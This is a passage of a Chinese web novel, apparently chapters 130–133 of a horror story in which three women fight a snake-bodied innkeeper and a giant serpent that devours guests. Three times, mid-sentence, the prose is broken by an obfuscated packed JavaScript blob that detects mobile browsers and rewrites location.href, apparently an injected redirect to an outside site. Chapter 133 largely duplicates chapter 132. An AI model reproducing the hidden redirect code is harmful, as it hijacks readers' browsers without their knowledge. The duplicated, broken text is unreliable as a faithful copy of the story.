“嘘。”赵禾压低声音,眼神凌厉,“笛声。” 白闽一怔,随即反应过来,脸色唰地白了。两人悄无声息地挪到窗边,小心翼翼地掀开窗帘一角。 血色的满月高悬天际,硕大得几乎压到旅馆的屋檐,月光将整座庭院浸染成不祥的暗红色。 老板站在庭院中央,修长的身影拉出一道影子。月光勾勒出他的侧脸,高挺的鼻梁,薄而苍白的唇,眉眼如画,但没有一丝人气。 他手持骨笛,笛身惨白,蛇鳞纹路在月光下泛着幽青的光,有生命般微微蠕动。 笛声再次响起,不是悠扬的曲调,而是某种活物的嘶鸣,沙哑、绵长,像是千万条蛇在同时吐信,又像是亡魂在深渊中的呜咽。 随着笛声的起伏,老板的皮肤逐渐隐约浮现出淡淡的蛇鳞纹路,瞳孔收缩成一条狭长的竖线,泛着毒液般的幽绿色。他的舌尖轻轻探出唇间,已然分叉。 在他面前,旅馆的一部分住客们排成一列,眼神空洞,面容呆滞,像是被抽走灵魂的傀儡,步伐僵硬地朝深山走去,他们的影子在月光下扭曲变形。 而队伍中还混杂着半透明的亡魂,他们飘忽不定,面容扭曲,有的还保持着死前的惨状。脖颈折断的妇人、胸口插着刀的男人、浑身湿透的孩童。它们无声地啜泣着,却被笛声束缚,无法挣脱,只能前行。 袖子突然被拉了拉,赵禾伸手指着队伍末尾:“你看那边。” 白闽顺着她的手看过去,整个人僵住。 队伍末尾,初与序低垂着眼,竟然安静地跟在最后。 “不是啊!”白闽忍不住惊呼,“初与序怎么在队伍里?” 夜风骤起,卷着腐烂的腥味拂过庭院。笛声越来越急,老板缓缓勾起唇角,露出一个微笑。 队伍渐行渐远,初与序的身影几乎要隐没在深山的阴影中。 可就在老板转身的下一秒,她忽然抬起头,黑发滑落,露出一双清醒冷静的眼睛,直直望向白闽和赵禾所在的窗口。 “保重。” 她无声地动了动唇,随后迅速低头,继续跟着队伍前行。 “……我靠啊!意哥有说过初与序有点喜欢作死,没想到她这么作死啊!”白闽瞪大眼睛,差点骂出声,“而且该保重的是她,不是我们俩吧?!” 赵禾已经离开窗边:“走!” 两人转身冲向房门,可就在门被拉开的下一秒。 “嘶嘶嘶——” 整条走廊上,密密麻麻的蛇群正蜿蜒爬行。在蛇群之后,那些未被带走的住客们正僵硬地站立着,他们的眼睛已经完全翻白,嘴角咧开不自然的弧度,喉咙里发出“咯咯”的怪响,像是被什么东西操控了一般,缓缓朝他们逼近。 两人:“……” 白闽沉默了一秒,紫鞭甩出:“看来我们俩确实要保重了。” 深山,队伍沉默地行进在幽暗的山道上,月光被树影切割成碎片,斑驳地洒在人群僵硬的脸上。 老板的笛声时远时近,偶尔他会停下吹奏,缓步踱到队伍末尾巡视。青黑色的蛇鳞纹路在他颈侧若隐若现,竖瞳盯着每一个被操控的“追随者”。 当他走到初与序身旁时,脚步微微一顿。 初与序垂着眼,刘海散在额前,遮住了她的眼睛。她的皮肤在月光下显得异常苍白,几乎与骨笛的颜色融为一体。脚步精准地踩在前人的脚印上,不疾不徐。 老板盯着她看了几秒,冷笑一声:“装得倒是挺像。” 初与序依旧毫无反应,一副死人脸。 “还真被笛声影响了?”老板眯了眯眼,最终没发现什么,转身回到队伍前方,重新吹响骨笛。沙哑的笛声再次回荡在山林间,队伍继续前行,隐没在雾气深处。 而在无人看到的阴影中,初与序的手指微微动了一下,袖口里的短刀露出一丝寒光。 队伍在骨笛的操控下,缓缓往前走。前方一个巨大的山洞渐渐出现在迷雾深处,洞穴入口像一张狰狞的巨口,森冷的腥风从深处呼啸而出。队伍踏入洞穴。 入口处还残留着些许月光,但越往里走,光线就越发昏暗。空气中弥漫着血腥味,脚下不时传来“咔嚓”的脆响,踩碎人骨的声音。 随着深入,洞顶逐渐升高,空间豁然开朗。当队伍完全进入主洞穴时,眼前的景象让即使早有心理准备的初与序也不由得心头一紧。 这是一个由累累白骨堆砌而成的巨大巢穴。 四周岩壁上挂满了半透明的蛇蜕,每一片都大得惊人。地面几乎完全被各种骸骨覆盖,有新鲜的人骨,也有已经风化发黄的古旧残骸。 而在洞穴正中央,某个动物盘踞在那里。 那是一条超乎想象的巨蛇,粗壮的蛇身如同千年古树的树干,盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747468|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕起来的高度足有五六米。青黑色的鳞片每一片都有巴掌大小,在黑暗中泛着金属般的冷光。当它缓缓移动时,鳞片摩擦着骸骨,发出令人不适的声响。 而它的头颅,大得能一口吞下至少三个成年人。金黄色的竖瞳在黑暗中如同两盏鬼火,冰冷地注视着下方的队伍。当它吐出蛇信时,分叉的舌尖滴落的黏液立刻将地面腐蚀出一个个小坑。 老板的笛声突然变得急促,巨蛇随之昂起头颅,张开血盆大口。借着洞内微乳的光线,初与序清晰地看到它口中密密麻麻的倒钩状牙齿,以及挂在齿缝间的碎肉。 笛声戛然而止,老板放下骨笛,抬起头看向巨蛇。初与序站在队伍末尾,敏锐地注意到他们要开始交谈,立刻在脑海里呼叫系统。 “有翻译器吗?” 【蛇类语言翻译模块,5积分,时效20分钟,请问需要兑换吗?】 “要。” 【兑换成功。】 一股细微的电流窜过太阳穴,耳膜传来轻微的刺痛感。下一秒,老板喉咙里发出的嘶嘶声,在初与序耳中转化成了清晰的语言: “人类和亡魂,我带来了。”老板冷冷开口。 巨蛇缓缓垂下硕大的头颅,吐出蛇信:“你迟了两个时辰。” 老板的手指一直搭在腰间的骨笛上:“月相才刚满,急什么?山路不好走,带活人总要费些功夫。” 巨蛇的尾巴尖不耐烦地扫过地面,它看向面前的队伍:“数量不对。上次说好的二十个活魂,三十个死魄,现在连半数都不到。” 它凑近男人,金黄的竖瞳收缩成一条细线:“那个戴金丝眼镜的商人呢?我闻到他灵魂里的铜臭味了。” “跑了。”老板冷笑,“你以为现在还是百年前?随便编个山神娶亲的故事就能骗人上山?现在的人精得很,要不是靠旅馆慢慢养着……” 巨蛇暴起,巨大的头颅撞向老板。老板踉跄着后退几步,后背重重撞在岩壁上。 “契约就是契约!”巨蛇的声音震耳欲聋,“一百三十七年前你剖我脊背时,可没讨价还价!” 老板扶着岩壁站稳,眼中闪过一丝阴鸷:“少在这装受害者。当年要不是你吞了我全村老少,我怎么会来找你?” “所以你选择成为比我更抗脏的东西?”巨蛇的尾巴突然缠上老板的腰,将他举到半空,“用我的骨头控制人类和亡魂,再把他们送到我的嘴里?” “这是交易!”老板脸色惨白,“我给你血肉,你给我寿命。” “可你越来越敷衍了。”巨蛇突然送来尾巴,任由老板摔在骸骨堆里。它游动着庞大的身躯,在洞穴中卷起寒风,“上个月少三个,这个月少五个。下次是不是要我自己下山捕食?” 老板艰难地爬起来:“现在不比以前!他们会查失踪案,那些住客的家人……” “那是你的问题。”巨蛇张开血盆大口,“要么按契约喂养,要么我现在就连本带利讨回来。” 老板抿唇沉默着,半晌,他终于阴沉着脸开口:“再给我三天。” 巨蛇的尾巴像鞭子般,拍了拍地面:“记住,你早就不是猎户了。你和我一样,都是怪物。” 131.蟒蛇旅馆 巨蛇满意地昂起头颅,在队伍前方缓缓游走。它俯下头颅,金黄竖瞳锁定队伍最前列的活人,蛇信轻吐,应该是在挑选第一道佳肴。 初与序站在队伍末尾,静静观察着这一幕。 巨蛇很快选好了第一位入口的“幸运儿”,它慢吞吞来到幸运儿的面前,忽然猛地张开血口,獠牙刺入它的肩膀,鲜血喷溅。 不到一分钟,那人的身体以肉眼可见的速度干瘪下去,血肉精华被尽数吞噬,最终只剩下一具蒙着人皮的骨架,“咔嚓”一声散落在地。 而轮到亡魂时,巨蛇并不撕咬,只是深深吸气。亡魂便化作缕缕黑烟,被吸入蛇口,融入它青黑的鳞片中。每吸食一个亡魂,鳞片上的诡纹便亮起一次。 巨蛇的进食仍在继续,但此时,队伍里一个年轻男人忽然从控制中惊醒。他睁大眼睛,惊恐地环视四周,还没弄清楚到底是什么情况,就眼睁睁看着站在自己前方的人被巨蛇活生生吸干血肉,变成一副骨架。 说实话,刚一睁眼就看到这种场面,是个人都要被吓死。 男子张大嘴:“不!救命!” 他转身就要跑,可还没跑出两步。巨蛇的尾巴横扫过来,直接卷住他的腰腹。男人被凌空提起,四肢疯狂挣扎:“放开我!放开……” 老板不耐烦地啧了一声,举起骨笛抵在唇边。 初与序反应极快,在笛声响起的前一秒,抬手捂住耳朵。即便如此,那诡异的笛音仍如细针般往脑子里钻,让她头痛。 而那个被卷住的男子就没这么幸运了,他的挣扎戛然而止,眼神瞬间空洞,四肢无力地垂下,重新变回行尸走肉的状态。巨蛇满意地松开尾巴,任由他跌回队伍中,继续麻木地站着。 关于骨笛的真相已经弄清楚,初与序可不想在这鬼地方多留,指不定下一个被选中吃掉的就是自己。趁着巨蛇专注于进食,她开始往后退,小心翼翼地避开地上的碎骨,眼看就要退到洞穴边缘。 可谁知,一条潜伏在骨堆中的小蛇早就注意到了她的动作,就在她转身打算走出洞穴时,那条蛇突然暴起,直扑她的咽喉! 初与序猛地侧头,蛇牙堪堪擦过颈侧。 这一躲,终究是发出了声响。老板瞬间回头,竖瞳锁定了她。 “我就知道。”他冷笑一声,身形竟如鬼魅般瞬移至初与序身后,苍白的手指抓向她肩膀,“装不下去了?” 初与序飞快从袖中抽出早就准备好的短刀,直直朝着老板刺去。老板急速后撤,但手腕仍被划开一道口子,暗红色的血珠渗了出来。 “啧。”他低头看了看伤口,“你以为,就凭这把刀能活着离开?” 他猛地举起骨笛抵在唇边,一阵刺耳的笛音炸响!那声音不似先前的操控之音,而是尖锐如针,直接扎入脑海。初与序眼前一黑,太阳穴突突跳动,像有无数条毒蛇在颅骨内撕咬。 她咬破舌尖,血腥味和疼痛让她勉强保持清醒。短刀在掌心一转,改为反手握持,刀尖直取老板咽喉! 老板侧身闪避,笛声不停。但初与序的攻势越发凌厉,每一刀都带着必杀的狠厉。本以为有了竹笛就能操控初与序,却没料到她几乎不受影响。 就在两人缠斗之际,洞穴深处传来“轰隆”的巨响。巨蛇被战斗的动静惊动,昂起头颅,目光锁定了初与序。它吐了吐蛇信,张开血盆大口,发出一声震耳欲聋的嘶吼! 狂风席卷整个洞穴,初与序余光瞥见巨蛇庞大的身躯正以惊人的速度游来,一路上碾碎了无数骸骨。 前有老板笛声扰神,后有巨蛇堵截退路。 巨蛇的阴影笼罩下来,它缓缓俯首,毒牙泛着寒光。下一秒,它的尾巴如钢鞭般扫来,初与序俯下身来,蛇尾擦着发梢掠过,将身后一根石柱轰然击碎。 碎石飞溅,她借势翻滚,刀尖插入巨蛇尾部的鳞片缝隙。青黑色的蛇血喷溅而出,巨蛇吃痛,庞大的身躯剧烈扭动,整个洞穴都在震颤。 老板的笛声拔高,刺耳的声波如同刀刃,初与序的耳膜渗出血丝。她咬紧牙关,猛地拔出短刀,出其不意地朝着老板咽喉划去。 老板用骨笛横铛,火花迸溅。两人近在咫尺,初与序看清了他眼中幽绿的蛇瞳,冰冷、非人。他轻笑一声,忽然张开嘴,露出森白的牙齿。 初与序倒是没想到半蛇类的人也会如蛇类一般咬人,她立刻后退,避开老板突如其来的撕咬,一脚狠狠踹向他的膝盖。“咔嚓”一声脆响,老板单膝跪地,却反手抓住她的脚踝,将她重重摔向地面! 尘土飞扬,初与序在落地时蜷身翻滚,但仍被冲击震得五脏剧痛。她单手撑地跃起,却见巨蛇的血盆大口已至头顶。 千钧一发之际,她猛地掷出短刀! 刀身精准刺入巨蛇上颚,黑血如瀑泼下。巨蛇发出震耳欲聋的嘶吼,疯狂甩头,撞塌了半边岩壁。 初与序飞快冲向洞穴深处,却被突然闪现的老板用力拽住胳膊,手指如铁钳般收紧。同时,他单手拿起骨笛,立刻吹响。 初与序眼前一黑,动作顿时慢了半拍。 就是这一瞬间的迟滞,巨蛇的尾巴已横扫而来,重重抽在她腰腹! “咳——!” 五脏六腑仿佛移位,初与序被甩向岩壁,剧痛窜过全身,她听见自己后背重重撞在岩壁上的闷声,一口鲜血从喉间喷涌而出。 灰尘炸起,碎骨、石块和泥土混作一团,形成浓密的灰黄色烟尘。巨蛇的尾巴缓缓收回,老板站在三步之外,骨笛横在唇边,警惕地盯着那片还未散尽的尘雾。 “死了?”巨蛇的金瞳眯起,用蛇语问道。 老板皱着眉,死死盯着那一片烟尘周围的地方,生怕初与序趁机逃走。但过了好半天,目光所及之处,没有她的身影。 “可能。”老板眉头渐渐舒展开来,“你那一下挺狠的,普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747469|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通人撑不过。” 烟尘渐渐散去,岩壁上只有一摊刺目的血迹,缓缓滴落。除此之外,并无其他。 初与序的身影,消失了。 “人呢?!”老板吃了一惊,环视整个洞穴,却连个人影都看不到。 “今晚把她给我带回来!!”巨蛇怒吼道,把洞穴震得都颤抖,骸骨如雨落下,“她跑不远!” 老板骂了句脏话,转身冲出洞穴。 旅馆走廊上此刻已经沦为战场,白闽的紫鞭在空气中翻卷,鞭子所过之处,蛇群血肉横飞。 赵禾赤手空拳站在蛇拳中央,身形快得几乎留下残影。每一次出手都精准得可怕,右手成刀劈在一条蛇的七寸处,左手顺势掐住另一条扑来的蛇,五指一收就捏碎了蛇头。 “小心天花板!”白闽忽然大喊。 赵禾头也不抬,右手如闪电般向上探出,精准抓起一条从通风管垂下的蛇。她手腕一抖,蛇身被甩出,将三个扑来的住客抽得后退。 白闽甩出长鞭,缠住一个住客的脚踝,猛地一拽就将人放倒。 “退后。”赵禾闪到她身前,小小的身躯爆发出惊人的力量。她一记扫腿将最近的几条毒蛇踢飞,同时扣住一个住客的手腕,卸掉了对方的关节。 走廊尽头的窗户突然爆裂,玻璃碎片四溅。一条碗口粗的蟒蛇从窗口游入,猩红的蛇信吞吐间直扑赵禾面门。白闽的鞭子及时卷住蟒蛇七寸,赵禾右手如刀刺入蟒蛇左眼。 蟒蛇吃痛,赵禾借力翻身骑上蛇头,双腿死死夹住蛇颈,左手成拳对着蛇头连轰几记,蟒蛇终于瘫软下来。 白闽被这一幕看得愣住,她盯着那条已经不再动弹的巨蛇,又看了看站在蛇头上方的赵禾,一时说不出话来。 “你…你一个人打死了一条蟒蛇…?”她张了张嘴,惊讶道。 赵禾甩了甩手上的蛇血,面无表情:“嗯。” 白闽:“……” 这一晚上她算是见识到了自己两个队友的离谱程度。先是初与序二话不说单枪匹马混进蛇群队伍玩潜伏,现在又是赵禾面无表情赤手空拳干翻一条成年蟒蛇。 随着蟒蛇的死亡,残存的蛇群仿佛收到了某种信号,窸窸窣窣地退入阴影。那些暴走的住客们也如断电般纷纷倒地,不再动弹。整座旅馆彻底安静下来,只剩下两人轻微的呼吸声。 “走,去找初与序。”白闽收起鞭子,刚要迈步。 “吱呀”一声,旅馆的大门突然被人从外面推开。 晨光中,初与序站在门口,黑色大衣的背部沾了鲜血,脸色苍白但神情平静。她右手还握着那把冰蓝短刀,刀尖滴落的鲜血在门槛上留下暗红的痕迹。 白闽第三次被震惊:“哎呦我靠!你这又是怎么回来的?咋受的伤?” 初与序走进来,反手锁上门:“撞到岩壁,没什么事,走进来了。” 白闽:“???” 132.蟒蛇旅馆 血月的光芒透过岩峰渗入,将山洞内巨蛇的鳞片映成暗红色。 老板站在巨蛇面前,皮肤被月光照得更加苍白。他的瞳孔已经彻底化为幽绿的竖线,舌尖已经分叉成蛇信。 “嘶嘶……(今晚,必须把那个逃走的人带回来。)”巨蛇的声音回荡在洞穴中。它缓缓游动,金黄竖瞳紧盯着老板,带着不容抗拒的压迫,“嘶嘶嘶。(她听到了太多,必须死。)” 老板低垂着头,阴影遮住了他嘴角的冷笑:“嘶。(当然。)” 他转身走向洞口,月光勾勒出他修长的背影。皮肤下,蛇鳞纹路若隐若现。他转头看向旅馆的方向,一盏孤灯在夜色中微微闪烁。而高悬的月亮,正缓缓爬向天空最高处。 月光惨败,山路上寂静得只有枯叶被踩碎的声响。 老板从腰间取出骨笛,竖瞳在夜色中泛着冷光。今晚太安静了,绿光方向没有一丝光亮,没有住客的哭嚎,甚至连蛇群的窸窣声都消失了。 推开旅馆大门,木轴发出刺耳的“吱呀”声。大厅里空荡荡的,壁炉的余烬早已冷却,连昨晚激战留下的蛇尸和血迹都被清理得一干二净。 二楼走廊、厨房、地下室,所有房间都空无一人。包括那些被操控的住客,所有人都仿佛人间蒸发,整座旅馆极度安静。 老板停下脚步,举起骨笛抵在唇边,正要吹奏。 天花板忽然传来动静,初与序从上方跃下,短刀寒光直取他咽喉!老板反应极快,猛地后退,刀锋擦着脖颈划过。 初与序落地即退,白闽不知何时落在老板身侧,紫鞭从侧面袭来,如毒蛇般缠向他的手腕。老板避开,举起骨笛就要继续吹奏。 赵禾出现在他身后,一记鞭腿狠狠扫向他的膝窝。老板闷哼一声踉跄半步,骨笛险些脱手。 但他毕竟是A级副本的BOSS,在密集的攻击中仍找到空隙,飞速将骨笛抵在唇边。 “嘶——” 刺耳的笛声响起!初与序眼前一黑,动作迟缓下来。白闽的鞭子垂下,赵禾也伸手扶住墙壁。老板趁机挣脱,后颈的血顺着脊背滑下,在惨白的皮肤上拖出一道刺目的红。 远处的山林间,无数蛇群突然昂首,竖瞳在月光下泛着冷光。它们听到了主人的笛声召唤,立刻躁动起来,朝着旅馆方向游去。 忽然,那条青黑色的眼镜蛇从树梢垂落,烂在蛇群前方,尾巴拍在地上,一副威严老大的架势。 “嘶嘶——(都停下!)” 蛇群顿时僵住,困惑地吐着信子。 眼镜蛇昂起头,一本正经地开始胡说八道: “嘶嘶嘶……(主人不是在叫你们帮忙,他是在练习新曲子!人类管这个叫KTV,懂吗?)” 几条小蛇歪了歪脑袋,信子吐得飞快,显然半信半疑。眼镜蛇见状,立刻甩尾抽了下地面,摆出不容置疑的姿态: “嘶!(老大我什么时候骗过你们?)” 大部分蛇群想了想,觉得老大说得有点道理,于是慢悠悠地缩回草丛,继续睡觉去了。只有几条格外忠心的蛇还是放心不了,犹犹豫豫地朝旅馆方向游去。 眼睛蛇瞥了它们一眼,懒得再拦。就这几条蛇,那三个人类女孩一定能搞定。 旅馆里,初与序持刀再次袭来,刀光如电,直刺老板握笛的手腕。老板侧身闪避,骨笛横档。白闽的鞭子趁机缠上他的脚踝,猛地一拽。 老板单膝跪地,却借力翻滚,骨笛突然转向,吹出一串刺耳的高音。大厅的窗户玻璃齐齐爆裂,几条蛇从碎玻璃中窜入,直扑三人面门! 赵禾从二楼栏杆一跃而下,砸中一条花斑蛇,徒手捏碎它的七寸。另一条蛇朝白闽咽喉咬去,被她反手一鞭抽飞,蛇身撞在墙上爆发出一团血雾。 初与序的刀锋始终紧逼老板咽喉,却被他一次次避开。一条毒蛇突然从吊灯上垂落,朝她后颈咬下。 只听“嗖!”一声,一条桌腿破空而来,精准贯穿蛇头。赵禾踩着沙发背腾空接住回弹的桌腿,落地时一个扫腿逼退又一条偷袭的蛇。 老板拉开距离,骨笛抵在唇边。 初与序猛地踹翻茶几,沉重的实木桌砸中他腹部。笛声走调成一声闷哼,老板撞上壁炉,嘴角溢出血丝,几条赶来护主的蛇顿时僵在原地。 “…嘶嘶嘶。(…你们说我们要去帮忙吗?)”一条蛇瑟瑟发抖,“嘶嘶。(我感觉这三个人类女孩可以把我们炖汤喝。)” “嘶嘶……(我们还是回去搬救兵吧……)” 一条花斑蛇猛地调头朝窗口游去,显然是要去报信。初与序反手掷出短刀。 刀刃将蛇头狠狠钉在地板上,蛇尾疯狂扭动拍打着地板。 但就在这一瞬的分神,老板已经吹响了骨笛。 一道扭曲的笛声炸开,初与序只觉得颅骨内突然灌进滚烫的铅水。视野瞬间模糊,耳膜传来撕裂般的剧痛。她后退两步,膝盖一软差点跪倒。 赵禾的身影闪到她身侧,扶住她下坠的身体。而就在这时,老板的手已经撕破空气抓向初与序的咽喉。 “啪!”一声,紫鞭抽在老板手腕上,带起一蓬血雾,白闽手一抖,长鞭缠上老板脖颈。 老板不躲不避,任由鞭子勒紧喉咙。他嘴角扯出一个笑容,骨笛突然转向,对准白闽吹出一个尖锐的音符。 鞭子顿时脱手,白闽嘴角溢出鲜血。 初与序强忍眩晕推开赵禾,一个翻滚拾起地上的短刀。老板的手已经袭至白闽面门,眼看就要贯穿她的眼球。 赵禾一把扣住他的手腕,硬生生拦住他。老板惊愕地发现,这孩子的力量竟与自己不相上下。 身后,初与序忽然冒出,短刀刀尖划过老板腰腹,鲜血喷涌而出时,他手中的骨笛发出凄厉的哀鸣,笛声上的蛇鳞纹路疯狂闪烁。 他忽然暴起发力,伸手抓向初与序心口。初与序短刀横斩,被老板挡下。白闽的鞭子从侧面抽来,缠住他的手臂,赵禾则抬起一脚踹向他膝盖。 老板跪倒在地,但右手仍死死攥着骨笛。初与序的短刀立刻抵上了他咽喉,刀尖刺入皮肤,一缕鲜血顺着脖颈滑下。 她伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754422|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,正要夺下骨笛。 老板突然露出一个诡异的笑,染血的唇再次贴上骨笛。 “呜————” 一道从未听过的诡异笛声炸开,不似先前的嘶哑尖锐,而是如同深渊之中传来的古老低吟,带着某种令人毛骨悚然的共鸣。 三人同时愣住,这声音像是直接刺入灵魂,让全身血液都为之冻结,整座旅馆的温度猛然下降。 “快……”赵禾最先反应过来,但她的警告还未说完。 “轰隆!!”一声,旅馆二楼的木质天花板突然塌陷,一条比廊柱还粗壮的青黑色蛇尾坡顶而下,裹着碎石木屑狠狠砸在地面上!整栋建筑剧烈震动,三人被冲击波狠狠掀飞出去。 初与序在撞上墙壁前调整姿势,短刀插进地板才止住退势;白闽的紫鞭缠出吊灯才勉强稳住身形;赵禾则在空中翻转后单膝落地,稳稳站好。 烟尘弥漫中,巨蛇的上半身盘踞在破碎的二楼废墟上,居高临下地盯着下面三人,而被它护在身后的老板正踉跄着爬起,骨笛上的蛇鳞纹再一次疯狂闪烁。 幸运的是,他们在楼下布置的陷阱还在。 巨蛇冰冷地扫过老板,喉咙里发出低沉的嘶鸣:“嘶。(废物)” 老板脸色发白,却抿着唇没有反驳,只是握紧了手中的骨笛。 巨蛇不再理会他,庞大的身躯缓缓游动。它居高临下地俯视着三人,蛇尾如闪电般扫出! 白闽根本来不及反应,整个人被蛇尾卷住腰腹,猛地举到半空。窒息感瞬间袭来,她挣扎着甩出鞭子,可鞭子抽在鳞片上,只迸出几点火星。 初与序的短刀脱手,寒光直取巨蛇左眼。 巨蛇偏头避开,刀锋擦过鳞片,带出一串火花。它嘶吼一声,蛇尾狠狠一甩! 白闽被砸向墙壁,在即将撞上的上一秒,赵禾飞身扑去,用自己的身躯当缓冲垫。两人重重摔在地上,白闽咳出一口血。 初与序趁机捡回短刀,却见巨蛇已经调转方向,蛇头朝她撞来。她翻滚躲开,原先的地板被撞出一个大洞。 随后她爬起来就往一楼跑,巨蛇果然追来,庞大的身躯碾过走廊,墙壁坍塌。赵禾撑起白闽,两人跟在后面。 巨蛇的尾巴再次横扫过来,初与序不退反进,在蛇尾即将击中她的上一秒矮身,短刀在手中一转,刀尖朝上,借着蛇尾扫过的冲势狠狠刺入鳞片缝隙。 巨蛇吃痛,发出一声震耳欲聋的嘶吼,蛇尾疯狂甩动。初与序死死握住刀柄,将伤口撕扯得更大。 巨蛇猛地扭头看向站在一边的老板,蛇信狂躁地吞吐:“嘶嘶嘶!(愣着干嘛?吹笛子啊!)” 老板立刻将骨笛抵在唇边,这一次笛声的音调更加尖锐,仿佛无数钢针直接刺入三人的大脑。 白闽捂着耳朵跪倒在地,鲜血从指缝间渗出。赵禾咬牙想要冲上前,却被无心的音波震退数步。初与序眼前一黑,握刀的手不由自主地松了力道。 巨蛇趁机猛地甩尾,将她连人带刀甩飞出去。随后立刻调转方向,血盆大口朝她笼罩而来。 133.蟒蛇旅馆 血月的光芒透过岩峰渗入,将山洞内巨蛇的鳞片映成暗红色。 老板站在巨蛇面前,皮肤被月光照得更加苍白。他的瞳孔已经彻底化为幽绿的竖线,舌尖已经分叉成蛇信。 “嘶嘶……(今晚,必须把那个逃走的人带回来。)”巨蛇的声音回荡在洞穴中。它缓缓游动,金黄竖瞳紧盯着老板,带着不容抗拒的压迫,“嘶嘶嘶。(她听到了太多,必须死。)” 老板低垂着头,阴影遮住了他嘴角的冷笑:“嘶。(当然。)” 他转身走向洞口,月光勾勒出他修长的背影。皮肤下,蛇鳞纹路若隐若现。他转头看向旅馆的方向,一盏孤灯在夜色中微微闪烁。而高悬的月亮,正缓缓爬向天空最高处。 月光惨败,山路上寂静得只有枯叶被踩碎的声响。 老板从腰间取出骨笛,竖瞳在夜色中泛着冷光。今晚太安静了,绿光方向没有一丝光亮,没有住客的哭嚎,甚至连蛇群的窸窣声都消失了。 推开旅馆大门,木轴发出刺耳的“吱呀”声。大厅里空荡荡的,壁炉的余烬早已冷却,连昨晚激战留下的蛇尸和血迹都被清理得一干二净。 二楼走廊、厨房、地下室,所有房间都空无一人。包括那些被操控的住客,所有人都仿佛人间蒸发,整座旅馆极度安静。 老板停下脚步,举起骨笛抵在唇边,正要吹奏。 天花板忽然传来动静,初与序从上方跃下,短刀寒光直取他咽喉!老板反应极快,猛地后退,刀锋擦着脖颈划过。 初与序落地即退,白闽不知何时落在老板身侧,紫鞭从侧面袭来,如毒蛇般缠向他的手腕。老板避开,举起骨笛就要继续吹奏。 赵禾出现在他身后,一记鞭腿狠狠扫向他的膝窝。老板闷哼一声踉跄半步,骨笛险些脱手。 但他毕竟是A级副本的BOSS,在密集的攻击中仍找到空隙,飞速将骨笛抵在唇边。 “嘶——” 刺耳的笛声响起!初与序眼前一黑,动作迟缓下来。白闽的鞭子垂下,赵禾也伸手扶住墙壁。老板趁机挣脱,后颈的血顺着脊背滑下,在惨白的皮肤上拖出一道刺目的红。 远处的山林间,无数蛇群突然昂首,竖瞳在月光下泛着冷光。它们听到了主人的笛声召唤,立刻躁动起来,朝着旅馆方向游去。 忽然,那条青黑色的眼镜蛇从树梢垂落,烂在蛇群前方,尾巴拍在地上,一副威严老大的架势。 “嘶嘶——(都停下!)” 蛇群顿时僵住,困惑地吐着信子。 眼镜蛇昂起头,一本正经地开始胡说八道: “嘶嘶嘶……(主人不是在叫你们帮忙,他是在练习新曲子!人类管这个叫KTV,懂吗?)” 几条小蛇歪了歪脑袋,信子吐得飞快,显然半信半疑。眼镜蛇见状,立刻甩尾抽了下地面,摆出不容置疑的姿态: “嘶!(老大我什么时候骗过你们?)” 大部分蛇群想了想,觉得老大说得有点道理,于是慢悠悠地缩回草丛,继续睡觉去了。只有几条格外忠心的蛇还是放心不了,犹犹豫豫地朝旅馆方向游去。 眼睛蛇瞥了它们一眼,懒得再拦。就这几条蛇,那三个人类女孩一定能搞定。 旅馆里,初与序持刀再次袭来,刀光如电,直刺老板握笛的手腕。老板侧身闪避,骨笛横档。白闽的鞭子趁机缠上他的脚踝,猛地一拽。 老板单膝跪地,却借力翻滚,骨笛突然转向,吹出一串刺耳的高音。大厅的窗户玻璃齐齐爆裂,几条蛇从碎玻璃中窜入,直扑三人面门! 赵禾从二楼栏杆一跃而下,砸中一条花斑蛇,徒手捏碎它的七寸。另一条蛇朝白闽咽喉咬去,被她反手一鞭抽飞,蛇身撞在墙上爆发出一团血雾。 初与序的刀锋始终紧逼老板咽喉,却被他一次次避开。一条毒蛇突然从吊灯上垂落,朝她后颈咬下。 只听“嗖!”一声,一条桌腿破空而来,精准贯穿蛇头。赵禾踩着沙发背腾空接住回弹的桌腿,落地时一个扫腿逼退又一条偷袭的蛇。 老板拉开距离,骨笛抵在唇边。 初与序猛地踹翻茶几,沉重的实木桌砸中他腹部。笛声走调成一声闷哼,老板撞上壁炉,嘴角溢出血丝,几条赶来护主的蛇顿时僵在原地。 “…嘶嘶嘶。(…你们说我们要去帮忙吗?)”一条蛇瑟瑟发抖,“嘶嘶。(我感觉这三个人类女孩可以把我们炖汤喝。)” “嘶嘶……(我们还是回去搬救兵吧……)” 一条花斑蛇猛地调头朝窗口游去,显然是要去报信。初与序反手掷出短刀。 刀刃将蛇头狠狠钉在地板上,蛇尾疯狂扭动拍打着地板。 但就在这一瞬的分神,老板已经吹响了骨笛。 